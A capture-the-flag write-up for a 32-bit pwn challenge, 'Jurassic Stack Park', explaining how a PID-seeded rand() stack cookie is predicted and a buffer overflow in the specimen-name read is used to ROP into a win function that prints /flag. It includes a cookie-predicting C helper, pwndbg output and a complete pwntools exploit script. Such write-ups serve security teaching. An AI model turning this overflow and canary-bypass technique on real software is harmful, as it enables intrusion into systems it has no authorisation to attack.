Overview
We’re dealing with a 32-bit binary:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The disassembly of the binary is very clean already. For writeup purposes, this has been cleaned up even more using an LLM:
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
alarm(30);
srand(getpid());
electric_fence = rand();
puts("");
puts(" __");
puts(" / _)");
puts(" _/\\/\\/\\_/ /");
puts(" _| /");
puts(" _| ( | ( |");
puts(" /__.-'|_|--|_|");
puts("");
puts(" JURASSIC STACK PARK");
puts(" Containment Management Terminal v2.6");
puts(" ========================================");
printf(" Terminal PID : %d\n", getpid());
puts(" Perimeter Fences: ACTIVE");
puts(" ========================================");
puts("");
while (1) {
int choice;
puts(" [1] Register new specimen");
puts(" [2] View enclosures");
puts(" [3] Check fence status");
puts(" [0] Shut down terminal");
printf("\n > ");
if (scanf("%d", &choice) != 1) {
break;
}
getchar();
puts("");
if (choice == 1) {
register_dino();
} else if (choice == 2) {
view_enclosures();
} else if (choice == 3) {
check_fence();
} else if (choice == 0) {
puts(" Terminal shutting down.");
break;
} else {
puts(" Not a valid option.");
}
}
return 0;
}
void open_enclosure(int arg1, int arg2) {
if (arg1 != 0xd1a0d1a0 || arg2 != 0xc0dec0de) {
puts("ACCESS DENIED, invalid containment credentials.");
} else {
FILE *fp = fopen("/flag", "r");
if (!fp) {
puts("Flag file not found. Contact an admin.");
return;
}
char buf[0x80];
fgets(buf, 0x80, fp);
fclose(fp);
puts(buf);
}
exit(0);
}
int register_dino() {
uint32_t saved_fence = electric_fence;
puts("You are registering a new specimen for Sector 4.");
printf("Specimen name: ");
char name[0x50];
read(0, name, 0x100);
if (saved_fence == electric_fence) {
puts("Specimen registered successfully, sector 4 updated.");
return;
}
puts("[FENCE BREACH] Electric fence integrity compromised, terminal locked down.");
exit(1);
}
Solution
BOF
We can see that we need to call the open_enclosure function without it being directly exposed in the program. It expects some very specific arguments, so simple ROP won’t do.
If we look closely at the register_dino function, we can see that we read up to 0x100 bytes into a stack variable, which allows us to overflow the stack.
Stack cookie
However, the binary has a builtin protection against this, by placing a stack cookie (electric_fence) that cannot be overwritten. It is generated by a rand() call which uses the process ID as the seed.
Luckily, the binary prints out the PID at the start, so we can write a small C program to predict the cookie:
#include <stdlib.h>
#include <stdio.h>
int main() {
int pid;
scanf("%d", &pid);
srandom(pid);
printf("%ld",random());
}
If we break at the cookie check in GDB and send a cyclic pattern as the dino name, we can figure out where we need to place the cookie:
pwndbg> break * 0x804997d
pwndbg> run
/ _)
_/\/\/\_/ /
_| /
_| ( | ( |
/__.-'|_|--|_|
JURASSIC STACK PARK
Containment Management Terminal v2.6
========================================
Terminal PID : 1760022
Perimeter Fences: ACTIVE
========================================
[1] Register new specimen
[2] View enclosures
[3] Check fence status
[0] Shut down terminal
> 1
You are registering a new specimen for Sector 4.
Specimen name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
Breakpoint 1, 0x0804997d in register_dino ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]───────────────────────────────────────────────────────────────────────────────────────────
Breakpoint hit at 0x804997d
───────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────
EAX 0x1395b203
EBX 0x810e000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
ECX 0xffffc78c ◂— 0x61616161 ('aaaa')
EDX 0x61616171 ('qaaa')
EDI 1
ESI 0x810e000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
EBP 0xffffc7d8 ◂— 'taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
ESP 0xffffc780 ◂— 0
EIP 0x804997d (register_dino+94) ◂— cmp edx, eax
─────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────
► 0x804997d <register_dino+94> cmp edx, eax 0x61616171 - 0x1395b203 EFLAGS => 0x212 [ cf pf AF zf sf IF df of ac ]
0x804997f <register_dino+96> ✘ je register_dino+126 <register_dino+126>
cyclic -l qaaa returns 64, this is our offset.
Now with that, in place, we can use a payload of "A"*64+p32(cookie)+cyclic to figure out that the offset for overwriting the return pointer is 12 bytes further.
ROP
From here, we can do simple 32-bit ROP to call the win function with the correct arguments.
My solve script looks like this:
#!/usr/bin/env python3
from pwn import *
exe = ELF("stackosaurus_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote('<uuid>.qualifier.swiss-hacking-challenge.ch', 31337, ssl=True)
return r
def main():
r = conn()
r.recvuntil(b"Terminal PID : ")
pid = r.recvuntil(b"\n").strip()
success(b"PID: "+pid)
rand = process(["./a.out"]) # random.c
rand.sendline(pid)
cookie = int(rand.recvall())
r.recvuntil(b">")
r.sendline(b"1")
r.sendlineafter(b"Specimen name:", b"A"*64+p32(cookie) + b"A"*12 + p32(0x8049865) + p32(0) +p32(0xd1a0d1a0) + p32(0xc0dec0de) )
r.interactive()
if __name__ == "__main__":
main()
Flag: